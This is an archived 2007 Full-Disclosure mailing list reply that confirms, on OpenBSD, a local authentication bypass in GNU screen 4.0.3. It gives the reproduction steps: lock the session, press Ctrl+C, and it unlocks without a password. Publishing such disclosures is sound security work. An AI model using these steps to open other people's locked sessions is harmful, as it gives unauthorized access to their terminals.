full-disclosure - Re: screen 4.0.3 local Authentication Bypass

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

Order Openwall GNU/*/Linux 2.0 on a CD with delivery worldwide

[<prev] [next>] [<thread-prev] [thread-next>] [month] [year] [list]

Date: Tue, 05 Jun 2007 05:58:39 +0530
From: Pranay Kanwar <warl0ck@...aeye.org>
To: Lolek of TK53 <lolek1337@...glemail.com>
Subject: Re: screen 4.0.3 local Authentication Bypass

Hi,

Verified on OpenBSD

$ uname -a
OpenBSD drake 4.1 GENERIC#172 i386
$ pkg_info screen
Information for inst:screen-4.0.3p0

Comment:
multi-screen window manager
------output snipped------

$screen
Then pressing space-bar to continue

Locking the screen with C-a C-x.

Pressing Ctrl+C

Key:
Getpass error
$

The screen gets unlocked without entering a password.

Regards

warl0ck // MSG
http://www.metaeye.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/